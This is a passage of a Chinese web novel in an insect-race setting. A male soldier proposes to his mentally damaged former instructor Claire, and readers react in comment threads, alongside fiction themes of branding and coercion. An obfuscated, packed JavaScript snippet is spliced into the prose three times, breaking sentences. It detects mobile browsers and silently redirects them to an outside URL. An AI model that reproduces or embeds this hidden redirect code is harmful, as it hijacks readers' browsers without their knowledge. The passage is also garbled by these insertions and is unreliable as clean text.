但在雄虫的目光逼视下,他还是依言坐了下来。 见他落座,席安脸色缓和些许,大脑渐渐冷静。 A级雄虫出色的精神力和记忆力,让他在回忆起克莱尔刚刚的一言一行,一举一动,包括细微的神情变化。 想明白了他为什么突然要走。 为了保护雄虫的隐私,发给雌虫的基因匹配信息上不会显示雄虫的完整资料。 见面之前,雌虫知道的只有雄虫的年龄、等级、有无雌君雌侍。 克莱尔大概连那仅有的几点信息都没好好看过。 他只知道他有约。 但不知道他约的虫是他。 “……” 席安有些无语。 就算来之前不知道,都看到他坐在这里了,怎么还能这么迟钝? “精神域受损会影响智商吗?” 席安硬邦邦问。 克莱尔将这当成了一句普通的攻击和嘲讽。 他眼眸低垂,顺着雄虫的话道:“或许会吧。” 他这么说,席安反倒没法出言讽刺了。 他看起来确实很惨。 面无血色,眼底憔悴。 脑补了一个惨兮兮雌虫病得快死的样子。 席安微抿唇,生硬问: “为什么不来找我?” “什么?” 克莱尔不明所以。 “精神域受损,为什么不来找我?我是雄虫,可以帮你。” 席安想要一个答案。 面对雄虫真实疑惑的目光,克莱尔干涩张了张口,一时说不出话。 精神梳理是很私密的事情。 雌虫可以花高价去找精神梳理师,钱货两清,却没法跟生活中的雄虫开这个口。 这跟邀请雄虫上.床没什么两样,甚至目的性和骚.扰性质更强。 他怎么能去骚.扰自己带过的士兵? 克莱尔尴尬侧过头,避开这个问题,只道: “我要结婚了。” 作为一只即将步入婚姻的雌虫,就更不该找其他雄虫做精神梳理。 这是放.荡不贞的表现。 虽然克莱尔其实没有太多贞洁观,连婚都是今天才准备结的,最后能不能成都不一定。 但他不能让席安受他牵连,染上污名,哪怕只是一个可能性都不行。 听到克莱尔说起“结婚”,席安目光闪烁了下,低头咬住吸管,喝了口清甜的冰镇果酒。 “已经决定了吗?结婚。” 他小声问。 “还没有,不过是迟早的事。” 说开后,克莱尔反而淡然了。 或者说,死心了。 他总要结婚的,不是这只雄虫,也会是下只雄虫。 他的精神状况已经不允许他拖延。 其实,有那么一刻,克莱尔想要一了百了。 他想要追求的,已经没有机会了。 而精神暴动的后果太过惨烈和难看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679364|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……军区监狱的雌虫就是最好的例子。 军区监狱关押的雌虫,都是精神暴动的军雌。 他们也曾拼死作战,为联邦立下赫赫战功,最后却因为精神暴动,失去理智,被关入狱,一辈子都只能在囚室中度过。 克莱尔不愿落到那个下场。 他宁愿自我了结,也不想变成失去自我意识的怪物。 他虽然跟席安说着要结婚,其实根本没想好怎么跟一只陌生雄虫步入婚姻。 他不确定自己能不能做到。 “您呢?” 克莱尔维持着面上的平静,问雄虫: “您来这里,是也准备要……结婚了吗?” 最后半句,声音很轻,轻得像一声叹息。 席安看了他一眼,目光闪烁,沉声应了句。 “嗯,是的。” “真是……恭喜。” 克莱尔的声音有些哑,忽就失了所有力气。 是该恭喜的,他有了喜爱的雌虫。 当初在第九军团,所有未婚军雌都是席安的爱慕者,他却一个也没回应。 有虫说,席安阁下眼光极高,看不上第九军团这些雌虫。 也有虫猜测,席安阁下早就有喜欢的虫了,在秘密交往,所以才不愿意跟其他雌虫扯上关系。 现在这个结局其实不算太意外。 一片静默中,席安忽地问: “你对婚姻和雄虫有什么期望和要求?” 克莱尔大脑空洞,慢了半拍才听清他的话。 “没有要求。” 他淡淡道。 “怎么会没有要求?” 席安被他的回答弄得不爽。 “总不能随便一只雄虫,你都嫁吧?” 克莱尔注视着不知为何又生起气来的红发雄虫。 漂亮的雄虫生气的样子也是漂亮的。 像一颗草莓。 那是一种从外星系引进的水果,颜色鲜红,十分好看,香甜多汁,雄虫们都喜欢。 就是太娇气了,很难养活,像第九行星那样的恶劣环境更是没法种植。 当年初到第九军团的席安,就像一颗娇贵的草莓。 被派去接引雄虫的克莱尔,远远看着那个在风沙中皱着张小脸的漂亮雄虫,想着他在他手底下撑不过半天,很快就会主动离开第九军团。 结果,这只雄虫意外的坚韧顽强,不服输,靠着跟他对着干的那一口气,硬生生撑过了役前训练。 最后还被安排在他手底下,成了他的兵。 那株娇贵的草莓在环境恶劣的第九行星扎下了根,结出了最漂亮甜美的果实。 “长官?你在听我说话吗?” 席安伸手在他面前晃了晃,神情疑惑。 克莱尔恍然回神。 “抱歉,我又走神了……” 自从精神域受损后,他就越来越难以集中注意力,思绪越发涣散,总会不知不觉走神。 “您刚刚说什么?” 克莱尔问。 “……总不能随便一只雄虫你都嫁吧?” 席安轻声重复了遍,看向克莱尔的目光透着担忧。 “我的情况您也看到了。” 克莱尔无声苦笑。 “我这样一只连意识都难以控制的雌虫,还能要求什么呢……能做精神梳理就行。” 只要求精神梳理。 听起来像是只想找一个精神梳理仪。 毫无感情可言。 席安本想讽刺几句,可看着克莱尔疲惫的模样,又说不出口。 “那就……结婚吧!” ……】 5. 克莱尔,他凭什么? 评论区里,看完这一章的读者已经吵翻了天。 [精神域受损果然会影响智商!克莱尔居然没发现席安阁下就是跟他基因匹配的雄虫!] [实在是太迟钝了!这种傻子嫁过去一定会污染阁下的基因!] [对!阁下应该娶我!] [结婚吧……天啊,这是我听过最美的情话。不敢想象,如果我精神极危的时候有A级雄虫阁下跟我说这个,我会有多幸福。] [呜红发小草莓阁下,太可爱了,想给阁下生小小草莓~] [楼上的白日梦雌虫一边去,你们有克莱尔的等级高吗?有他的军衔高吗?他再怎么也是个上校!] [问题是他精神域受损了,这是不争的事实。] [克莱尔的精神状态太差,阁下在他面前他都能走神,指不定什么时候就彻底失去自我意识,变成被本能支配的野兽。阁下应该离他越远越好!] 原本点进这本书的读者,都是疑惑怎么会有教官把雄虫往死里虐,想知道对方会被雄虫怎样报复。 可看到雄虫阁下似乎真打算娶克莱尔,他们反而慌了神。 那是个极为优秀出色的A级雄虫阁下,很符合雌虫的慕强心理。 他既美丽又强大,矜贵而优雅,就连生气的样子都是漂亮可爱的,像是梦里才会有的雄虫。 如果与其匹配的是像上将或军团长那样同样强大、望之不可及的雌虫,他们会心理平衡一些,觉得本应如此。 就算心有嫉妒,也只会悄悄阴暗爬行,表达出来都会被其他读者围攻。 但克莱尔,一个精神极危的雌虫,他凭什么? 他是上校,啊对,现实里上校是很厉害,但小说里哪个不是少将起步? 年纪,放虫族里他是很年轻,但雄虫年纪比他小,他就是老雌虫! 他当教官时还残忍对待过雄虫,这是有前科! 克莱尔根本配不上席安阁下。 如果他状态稳定,或许还能当个雌侍。 但他精神极危,是危险分子,席安阁下应该立刻远离他! 虫族文化就是如此,就算在小说里的虐待狂雄虫,只要他足够优秀,也会有许多虫为他说话,想要原谅他。 像席安这种全是优点,不仅没有明显过错,还有个“被教官虐的小可怜”设定的雄虫,就更不用说了。 当然,为克莱尔说话的虫也不是没有。 毕竟虫族雌虫全民皆兵,雌虫全都需要服兵役,对军雌这个身份的代入感不是一般的深。 [也不要太过了,这是克莱尔唯一的机会,不让席安阁下娶他,你们是想看着他死吗?] [就算要报复,雄虫报复雌虫的方法多得是。席安阁下将克莱尔娶回去当雌侍,同样能报复他,甚至能更名正言顺地报复。克莱尔求的只是一个精神梳理,何必剥夺他活下去的机会?] 被这么一说,原本激动的虫也冷静了些。 如果在现实中,他们未必不会站在克莱尔那边。 但这是小说,对书中角色的情感总是更加激烈。 爱之欲其生,恨之欲其死。 [……不管怎么说,这个精神状态下的克莱尔都太危险了,席安阁下根本不知道精神极危的雌虫有多恐怖。] [天知道我看到克莱尔又是大脑眩晕、又是面对雄虫阁下都能走神的时候,多想喊阁下快跑。] [这样的雌虫必须套上抑制器,锁住手脚,将钢针钉入脊椎……这是军区监狱的做法,克莱尔还没到这一步,但也不远了。] [不会的,克莱尔宁愿自我了断。如果真临近那一步,克莱尔会在还有意识时先一步了结自己。他哪怕杀死自己,也不绝会伤害雄虫。] [谁知道呢,可不要低估虫的求生欲。意外发生前,虫们总觉得不会发生意外。] [与其争论这些,不如问作者什么时候更新,为什么这本书只有一章!] 此话一出,评论区风向骤变,全成了嗷嗷求更。 [只有一章的文也敢发出来,作者虫在哪?我要去寄刀片!] [去作者主页看了一眼,名字是一串默认的初始数字,IP地址未知,而且只写过这一本书。] [这是哪个大神开的小号吗?] [不像,这个风格太独特了,知名的那几位雌雄感情文作者都不是这个风格。] 对,他们是斗雌侍、斗雌君、争宠生幼崽、再继续斗新入门的雌侍,斗志满满风格。 以及“雄主虐我千百遍,我待雄主如初恋”,被摘肾、摘心、摘翅翼……百虐不死风格。 还有跟对雌君——雌君是白月光、雄主是追随雌君附赠的——携手搞事业、偶尔跟雄主睡一觉生个蛋,家庭和睦、事业有成风格。 而这一本《教官》,明显不属于以上任何一个风格流派。 也很难根据这只有一章的文去定义他的风格流派。 这样一个连正经的作者名字都没有、还只有一本书、只更了一章的号,怎么看都是随时会跑路的样子。 生怕作者跑路,看不到故事后续发展,雌虫们纷纷留言打赏。 [(灌溉营养液x10)作者一定要写下去,写完这个故事啊!] [虽然这个作者写的根本不合常理,但我还是决定给他一次机会,我一定要看到席安阁下婚后狠狠报复克莱尔!(打赏量子炮x1)] [(打赏量子炮x5)赶快更新,敢跑路你就完了。我会查出你的IP地址,去你家跟你线下真虫决斗,输了就要被关小黑屋码字哦(微笑)(皮鞭)。] …… 安若一觉醒来登录星网,看到满屏的消息提醒,还以为是自己的终端中病毒了。 军区发的终端会被病毒攻击吗? 仔细一看,才发现全部是读者留言和打赏。 虫族不愧是疆域横跨数个星系的真·宇宙大国,公民数量众多。 他这种刚发表一天的书,竟然也能被这么多虫看到。 安若浏览着评论,看到查IP上门决斗催更的言论也丝毫不慌。 笑死,也不看看他在哪。 军区监狱。 有着虫族最高级别的安保防护。 就这么说吧,尤利西斯上将身边守卫的虫都没他这里多。 虽然对方作为SS级、准SSS……也不需要保护就是。 至于作者名,安若也注意到了。 之前没想到能成功发表,忘了取名。一直顶着一串默认数字确实不合适。 他点开主页,在改名页面停顿思索片刻,最终输入一个名字。 他原本的笔名“安之若素”,并不适合虫族的文化语境。 原身名字“安诺”,又直接跟犯罪者、家暴案绑定。他每天点开星网都能看到关于安诺案的讨论。用这个名字同样不合适。 至于真名安若……别开玩笑了,谁实名上网啊!? 安若思来想去,最终只用了一个“安”字。 《教官》 作者:安 又有新的评论留言弹了出来,带着置顶标红的特效,想忽视都难。 [打赏宇宙飞船x1] [打赏宇宙飞船x10] [打赏宇宙飞船x10] 安若点进去,发现是同一个人。 [我知道你在哪。] [星网IP都是公开透明,地址显示“未知”,要么是用了特殊手段,要么就是在军区驻地,涉及军事机密所以隐藏地址。] [写军雌文,还对第九军团还那么了解,盲猜你是第九军团内的军雌。虽然我在第三军团,但谁没几个其他军团的朋友,懂我的意思吧?] 安若:“……” 过程对了,答案全错。 也是,谁能想到小说的作者是一只正被关在监狱服刑的雄虫呢? 安若不清楚礼物的价格,关注点在对方猜测的身份上。 评论区的其他雌虫倒是被这大手笔震惊到了。 [卧靠,首都星的军雌还是壕啊!膜拜第三军团的大佬,居然真的有现役军雌会看这种军雌感情文?] [当然,你对军雌有什么误解,军雌都是雌雄小说的的忠实爱好者好吧!] [军队里常年见不到雄虫,尤其是进行宇宙巡航任务,更是枯燥得要命,也就只能看看雄虫小说打发时间。] 在这些评论中,还有关于主角身份的留言混杂其中,因数量太少,并不起眼。 [这个克莱尔上校好像是我长官……] [还有席安,是那位席安少尉吧?第九军团的红宝石。] [这是……席安阁下梦雌文?] 第九军团常年驻守于边境,不时还要执行远征任务,对外相对封闭,外界对第九军团的消息知之甚少。 这些留言也并未引起太多关注。 …… 安若早起刷刷评论,码了些字。 等到七点,军雌准时出现在门口,他就收起光屏去治疗室扮演医生。 他总觉得自己像个演员,扮演医生给病人治疗。 病人也很配合地露出感激庆幸的表情。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679365|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就差跪在地上握着他的手喊“您是神医啊”。 这样的场景,就算放在网络剧里,都要被说表演浮夸。 可却一次又一次真实发生在安若面前。 他们好像真的很需要他的治疗。 这里不是什么小说世界,他写下的精神暴动在这里是冰冷而残酷的现实。 梳理完十名B级军雌,安若坐在椅子上并未离开。 他绞着手思索纠结了许久,还是对一旁守着的乌列尔少将道: “再安排几名军雌吧,嗯……A级军雌也行。” 虽然这有可能暴露他的精神等级并非B级。 但管不了这么多了。 反正刑期都999年了,监狱的生活他也挺喜欢。 军方也不至于因此加重判决,或对他做什么。有这个精神梳理能力在,他们捧着他还来不及。 最多就是每天任务加重一点,他应付得过来。 乌列尔今天一整天的状态都很奇怪,一直在悄悄看他,眼里带着复杂的探究和欲言又止的疑问。 听他主动提出增加军雌,乌列尔微怔,目光更复杂了些。 但见他精神头不错,还是同意了。 “任务外的军雌会加贡献点,您量力而行。” 最后,安若又多梳理了十只A级军雌和十五只B级军雌。 A级和B级往往是军雌中的主力,所占数量最多,战斗力强,厮杀在最前线,也精神域损坏得最厉害。 安若其实觉得自己任有余力,反倒是乌列尔强行喊了停。 “够了,这个工作强度,哪怕是A级雄虫都受不了。就算您想要积攒贡献点,也不急于这一时,您现在需要休息。” 乌列尔亲自送他回房。 “不是为了贡献点……” 进入囚室前,安若低声道。 “……我知道。” 虽然很难以置信,但乌列尔确实曾在这只雄虫的眼里看到深藏的歉疚和不忍。 “我很感激您做的一切,我替所有军雌感谢您的付出。” 只是,乌列尔不明白,一个会同情陌生军雌遭遇的虫,为什么会那样残忍对待与自己建立了婚姻的上将? 他想要诘问,但一切已成定局,原因已经不再重要。 乌列尔压下到嘴边的问话,最后只道: “您发表在星网上的那本书……” 他还没说完,就见雄虫反应极大地猛然转身,倒吸凉气,瞪眼看他。 像一只受惊的长耳兽。 如果他头顶有耳朵的话,一定已经立了起来。 突然听三次元的人(虫)提起自己写的小说是什么感受? 绝对的惊吓。 虽然猜到自己写的内容肯定会经过军部审核,但被一个活生生的虫当着他的面说出来,还是太惊吓了。 见雄虫漂亮的眼睛瞪着他,浑身透着紧张,乌列尔连忙安抚。 “我没有别的意思,只是想提醒您,一些太出格的内容不能写……” 比如过于残暴的伤害和虐待。 乌列尔悄悄瞥了有前科的雄虫一眼,小声说: “毕竟涉及现役军官……” 写的文被现实中的虫说出来,安若尴尬得脚趾抠地,很想挖个坑把自己埋起来,或者把对方的嘴堵住。 听乌列尔说这些,他也只当是因为他写的是军雌题材,相当于军婚文,不能抹黑军雌形象。 “我知道,我会注意,不会写不该写的东西。” 安若保证。 他已经有过足够的经验和教训。 穿越到这里,就是最大的教训。 于是乌列尔不再说什么,只叮嘱他好好休息,并给了他好几支精力药剂。 乌列尔离开后,安若长舒一口气,拍拍自己受惊的小心脏。 他这也算是在负责他的军官面前过了明路。 之后可以更光明正大地写了。 安若回到桌前,喝了管精力药剂,感觉神清气爽,精神十足。 趁着状态好,他打开终端,准备再写一章。 结果刚登入星网,就看到了新闻推送。 《尤利西斯上将正式继任元帅之位》 这新闻推送占据大半页面,想不注意都难。 安若注视着视频中面容冷肃威严的黑发军官,与其金属般的银灰眼眸对上一瞬。 静默的囚室中,他低声说了句“恭喜”。 恭喜。 升官,发财,死老公。 实乃虫生之大喜。 6. 雄虫新兵x昔日教官3 雌虫们等更新等得望眼欲穿。 而在这段时间里,《教官》一书也在第九军团内部的某个隐秘小群里飞速传播着。 这一个由席安阁下的爱慕者组成的群聊,赛文也在群里。 他看完书,正想分享给群里的同担,就发现群里已经已经在说这件事了。 〖席安阁下是我雄主〗:“再装就没意思了,这个‘安’是群里的谁?出来自首吧!” 〖席安阁下的雌君〗:“真是服了!我一个没看着就有小妖精在外边勾引我雄主!到底是谁!赶快从实招来!” 〖最受席安阁下宠爱的雌侍〗:“别挂个雌君的称号就真把自己当一盘菜了(翻白眼)。” 〖席安阁下的正牌雌君〗:“别带歪话题,把作者找出来更要紧。” 〖席安阁下的正牌雌君〗:“这书其实写得挺好的(如果雌虫主角能换只虫就更完美了),我们其实也没别的意思,好不容易出一本热度高的书,有望成为镇圈神文,我们只是想表达支持和鼓励(友好微笑)。” 〖给雄主热脸洗内裤〗:“都这样了还没虫承认?难道还有谁不在群里?” 〖雄主的肌肉娇妻〗:“还能有谁,答案很明显了不是吗?克莱尔上校不在。” 〖最受席安阁下宠爱的雌侍〗:“没想到啊!克莱尔这家伙,看着一副性冷淡相,就差在脸上写上‘厌雄’,结果居然也是我们的情敌!” 〖雄主的自动寻回犬〗:“会不会是有什么误会?在以前的那些梦雌文里,克莱尔上校都是以反派的形象出现的。” 〖我是来加入这个家的〗:“不排除这个可能,这也可能是某个讨厌克莱尔上校的虫,专门以上校为主角写的虐雌文。” 〖雄主的肌肉娇妻〗:“虐他什么了?他都快嫁给雄主了!” 〖我是来加入这个家的〗:“这不还没成吗?再说了,婚后想虐雌虫也有的是办法,对于不受宠且被雄主厌恶的虫来说,婚后就是地狱。” 〖最受席安阁下宠爱的雌侍〗:“切,可别爽到他了。就信你这一次吧。” 〖雄主的自动寻回犬〗:“别吵了!那个神秘作者更新了!!!” 群内顿时一空,没虫再发言。 嘴上对以克莱尔为主角的文嫌弃得要命,但文真更新了,冲得比谁都快。 原本想再为自己长官说几句的赛文,也顾不上组织语言了,赶紧点开自己收藏的小说页面。 …… 【“结婚吧。” 席安道。 克莱尔完全呆住了,用了好一会才找回自己的思想。 “阁下,您是在……劝说我吗?让我去跟……雄虫结婚?” 说到后边,他的声音越发艰涩,看向雄虫的眼睛分外落魄狼狈,偏又潜藏一丝执拗。 素来坚韧强悍的军雌,在此刻竟有一种兵刃破碎般的悲鸣。 克莱尔的表情让席安不解。 他不是只要一个能为他进行精神梳理的雄虫就行了吗? 只要是雄虫,只要能进行精神梳理。 这两点他都符合。 “我们结婚,我会为你进行精神梳理。” 席安认真重复。 这句话带给克莱尔的冲击力比刚刚更大。 脑海中持续不断的嗡鸣在那一刹那消失了。 世界静得能听到彼此的呼吸。 克莱尔的视线僵硬落在席安脸上,试图寻找着什么,并一度怀疑自己出现了幻听。 席安已经站起身来,见他这恍惚的模样,更加担心,捧起他的脸看了看,有些发愁。 “一副坏掉了的样子……” 雄虫的手落在脸上的轻软触感,若有若无的香甜信息素,激得克莱尔猛地颤栗,后背和脊椎中仿佛都窜起了细密的电流。 喉中不受控制地泄出一声低喘,他赶紧咬牙,压制住不该有的羞耻声音。 抬眸看向雄虫的目光仍带着不敢置信。 “我和您……结婚?” 这仍旧像是他精神域受损后出现的幻觉。 但红发雄虫站在他面前,认真注视着他,好听的声音擦过耳廓、传入耳中。 “嗯,我们结婚。”】 …… 看到这,评论区已经有破防的雌虫跳出来骂了。 [太假了!雄虫阁下居然摸他的脸,还耐心地跟他重复一遍又一遍!这是什么根本没见过雄虫的白日梦雌虫写出来的文!?] [但是好看啊。如果有雄虫阁下这样注视我,认真地跟我说要跟我结婚,我死也值了。] [果然,被雄虫触碰脸,先飘过来的是信息素的香味。] [我不明白,雄虫阁下都说克莱尔“坏掉了”,为什么还决意要娶他?] [不要被文字迷惑了,没有雄虫会喜欢一个精神域破损还曾粗暴对待过他的雌虫,这只是为了让猎物甘愿落入陷阱的伪装。克莱尔已经要陷进去了,婚后就是他的末日。] 这话一出,反倒没什么虫骂克莱尔或者质疑雄虫的决定了。 雌虫总是这样,既清楚地知道雄虫的残酷,又对雄虫抱有不切实际地幻想,一次次飞蛾扑火。 【他的发色热烈得像一团火焰。 克莱尔注视着红发雄虫耀眼的头发,觉得翅翼根部的位置有些发痒。 他的翅翼在战场上受过伤,天伽主舰的高能量炮几乎将他的整片翅翼撕毁,好在虫族身体的自我修复能力极强,在返航途中就已经恢复。 只是新生的翅翼格外敏.感,连带着背脊的那一片皮肤都不时产生痒意。 他忘了自己是怎么跟席安上了飞行器,只觉得像是在梦里。 如果这是梦,他希望永远都别醒。 克莱尔微垂下眸,掩下心底深藏的不安。 席安虽说了要娶他,但并没有跟他进行线上登记。 在虫族,娶雌侍是很方便快捷的,只要双方提交申请、进行线上登记就行。 一条流程下来,可以五分钟办完。 如果是雌奴……就连线上登记这一步都能省去。 虫族帝国时代结束,进入联邦时代,雌虫地位得到提高,雌奴已经不被官方承认。 但在各个高等雄虫家中,雌奴仍然普遍存在着。 不需要登记、不被官方和社会承认,代表着法律对雌奴毫无保障,在家庭关系中也同样位于最底层。 为了宣誓主权和方便区分,雄虫往往会给雌奴戴上有铭牌的项圈,或者直接雌奴身上烙一个标记。 那标记可能是雄虫的名字、族徽,亦或者其他由雄虫决定的特殊图案。 想到这里,克莱尔原本因席安说要娶他而恍惚不安的心渐渐平静下来。 是了,原来是这样。 如果席安要娶他当雌侍,他会觉得自己太过危险,也不明白席安为什么要娶他,他们的关系并不好,席安应该是厌恶他的。 但如果是雌奴,就一切都说得通了。 他会被戴上具有抑制虫纹能量的项圈,不再具有杀伤力,配上直通脊椎的电击惩戒,哪怕一个低等雄虫都能轻易控制他。 而席安的近战肉搏能力在雄虫中绝对属于顶尖。 他是军雄,受过专业的格斗训练。 他甚至能在不用精神力的情况下,与非虫化状态下的A-级军雌一战。 掌控一个戴着抑制项圈的雌奴,对席安而言不过轻而易举。 至于雌君……从来都不在克莱尔的思考范围之内。 上校的军衔不算低,但还远远配不上席安的家世。 在进入联邦时代后,“贵族”之名彻底消失,也不再那么讲究家族势力,就连“家族”这个词都离普通虫族民众很远,像是只存在于电影或历史研究里的内容。 但家世财富地位的差距永远存在。 首都星总督之子的身份太高了。 放在几千年,这个身份等同于“王子”。 一个平民出生的军雌上校,如何与王子匹配? 若是之前,他还能奢想一下,等过个十几年、几十年,他成为少将或中将,或许能有资格站在席安面前,竞争他的雌君之位。 虽然席安未必会看他,就算看向他,也大概是讽刺的眼神……他们的关系很不好。 随着精神域在远征中受损,就连最后一点奢想都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679366|173214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 雌君肯定是做不成了。 雌侍……似乎都不被接受。 只能是雌奴了。 克莱尔想了很多。 最后,他脑海里浮现的念头是:席安会把雌奴烙印刻在他的哪个部位? 额头上?眉尾? 这些位置足够醒目,能让虫一眼就知道他归属于某位雄虫阁下,是上不了台面的雌奴。 又或者脖子上? 在致命处烙刻的烙印,会更有驯服感,标志着他的永远臣服。 雌奴烙印大多烙在这些醒目位置,但也有一些有着家族传承、更加古朴内敛的雄虫阁下,不喜欢这样招摇的做法。 他们往往会选择在更为隐秘的位置留下自己的标记。 胸口,腰腹,大腿内侧,后臀,又或者翅翼上…… 雌奴的烙印总是带着耻辱意味,但如果是席安……克莱尔发现自己其实并没有那么排斥。 席安本就恨他。 在生命的最后时刻,他愿意将自己献上去,平复席安沸腾的恨意。 ……】 故事的发展终于回到了他们熟悉的渣贱领域。 像一盆冷水兜头浇下,原本争吵不休的雌虫读者们蓦然安静下来,评论区的画风变得惊虫的一致。 [果然是这样,席安阁下根本没打算娶他。] [结婚……原来是指的雌奴啊,哭了。] [这样才合理,可为什么心口闷得难受,想要撕碎什么。] [不管了,我先去找虫打一架。] [跟我猜测的一样,这才是熟悉的发展嘛。会相信前面那些内容的雌虫,都是活在幻想里的虫,现在这些才是现实。] [席安阁下说要跟克莱尔结婚,却连进行线上登记都不愿意,已经能预料到解下来的发展了,雌奴烙印,抑制器项圈,惩戒室,锁链,鞭子,刀刃,鲜血。] [如果是席安阁下的话……其实也不是不行。至少做这些的雄虫高贵又漂亮,而且是A级,又是身体素质很好的军雄,那方面能力肯定很强,如果他愿意给一点信息素的话,就是痛也爽死了。] [???楼上疯了?雌奴诶,当了雌奴后就没有任何未来可言了。就算以后有升成雌侍的机会,身上的雌奴烙印也永远都洗不掉,永远低虫一等。要是怀上了虫蛋,连幼崽都抬不起头。] 虫族很在意幼崽。 联邦时代,雌奴能这么快被社会摒弃,也是为了幼崽的前途考虑。 但总有一些情况属于例外。 像是席安那种家世极好的高等雄虫,如果能怀上他的幼崽,就算是雌奴所出,也有着很大的发展空间。 幼崽的起点可能是很多虫一辈子都够不到的终点。 一些雌虫和亚雌根据这一点争论起来,而已经翻到后一页的读者却没心思关注这个。 他们瞪大眼看着书中的文字,几乎怀疑自己的眼睛。 ——婚姻登记所。 【飞行器在婚姻登记所前停下。 紧张了一路的席安悄悄松了口气,他起身整了整衣服,抚平根本不存在的褶皱。 第一次做这种事,也很可能是唯一一次,总要郑重些。 席安有些懊恼没有提前定制礼服。 时间太赶了。 虽然他身上这套也是高级定制款,但终归不一样。 他在换衣服和赶紧把克莱尔娶回家之间犹豫了两秒,果断选择后者。 仪式感很重要,但克莱尔更重要。 回头见克莱尔还呆愣在原地。 席安清楚他脑子不好,事实意义上的那种不好,又怎么能跟他计较呢? 他在心中低叹一声,伸手牵起克莱尔的手,将他带下飞行器。 克莱尔跟在席安身后,被他修长的手牵着,走在婚姻登记所的地板上,只觉自己的身体仿佛是飘着的。 娶雌侍线上登记就好,不用专门跑一趟婚姻登记所。 雌奴更是连登记都不用,雄虫选一个自己喜欢的位置,给雌虫烙下专属标记就行。 只有娶雌君,才需要这么正式地前往婚姻登记所。 ……】 7. 雄虫新兵x昔日教官4 结、婚、登、记、所?!! 这几个字一出来,评论区彻底炸了。 最初以为高等雄虫阁下要娶一个精神有问题的雌虫当雌侍,就够让雌虫们破防。 现在看到代表着娶雌君的婚姻登记所,更是直接让他们炸开了锅。 [假、假的吧?] [这怎么可能?不可能!或许雄虫阁下来这里是有其他目的呢?] [对!可能是有别的手续要办!] [额……婚姻登记所还办什么除了结婚登记外的别的手续吗?] [其实、其实这里也办理雌侍登记的!只是线上登记更便捷,几乎没有雄虫阁下会为了娶个雌侍专门跑一趟。但总有少数例外,也会有雄虫阁下为了表示郑重和对雌虫的看重,特意带雌虫来登记所办理。] 不管是哪个原因,都让虫很难接受啊! 是选择相信席安阁下要娶克莱尔当雌君? 还是选相信克莱尔是席安很看重的雌侍? 一定要在这两个选项里二选一吗? 雌虫们越看越嫉妒,眼睛红得滴血。 但嫉妒也能说做是……极度的羡慕。 [(打赏量子炮x1)哎呀,手怎么自己动了?这种不合常理的情节我才不喜欢,就是气乐我了。] [怎么说呢,娶克莱尔当雌侍是白日梦幻想片,但一个身份高贵的高等雄虫阁下娶克莱尔一个精神域受损的上校当雌君,我只能说作者已经脑洞大口到无虫能及的地步了!普通的白日梦幻想我不屑一顾,但抽象成这样的我必须要看看!(打赏反物质导弹x1)] [好啊,我倒要看看作者怎么圆回去。(灌溉营养液x20)] [赌一艘“宇宙飞船”,这只是席安阁下计划的一部分,先给克莱尔希望,再狠狠地毁灭他!这才是雄虫折磨雌虫最狠的手段,从灵魂上彻底击垮雌虫!] [说得有道理,那些至今还有着家族传承的高等雄虫都很会玩,跟普通雄虫的身体虐待不一样,他们折磨起虫来更加恐怖,各种方法手段超出普通虫的想象。] 雌虫们自己说服了自己,并越想越觉得这就是真相。 甚至有虫开始怜悯起克莱尔来。 认为克莱尔还沉浸在雄虫阁下构建的美好幻想中,对未来的凄惨命运无知无觉,真是只可怜虫。 而真正的席安阁下梦雌们:“???” 呸呸呸!他都要嫁给雄主了!还可怜什么?! 气得咬牙切齿,心里酸克莱尔酸得不行,但关于席安阁下的文还是要看的。 【漂亮又高贵的红发雄虫,格外引虫瞩目。 他一进来,整个婚姻登记大厅仿佛都明亮,所有灯光都聚集在他身上,光线描摹过他的发丝和脸庞,将他塑造得像是从古典神话传说里走出来的雄虫。 虫族不信神,没有真正意义上神明。 他们的神话传说里的“神”,其实是历史上那些极为强大的虫。 那些突破虫族身体极限、冲破等级桎梏,晋升S级、SS级、SSS级的虫,强大宛若神灵。 等级越高的虫越强大,也越美丽,各方面都无限趋近于完美,甚至超越完美。 这位阁下就像是神话传说里走出来的雄虫王子。 负责招待的虫被雄虫的美貌震慑,看得呆了。 直到雄虫不耐地敲敲桌子,他才恍然回神。 “不好意思阁下,我失礼,请问您是要做结婚登记吗?” “是,请尽快安排。” 席安友好微笑。 他还牵着克莱尔的手。 克莱尔乖乖跟在他身边,让他心情愉悦。 这是他跟克莱尔结婚登记的日子,他心情就更好了,并不在意接待员的一点小失礼。 接待员这才注意到雄虫阁下身侧的雌虫。 高等虫族就没有不好看的,无论是雄虫还是雌虫,亦或亚雌。 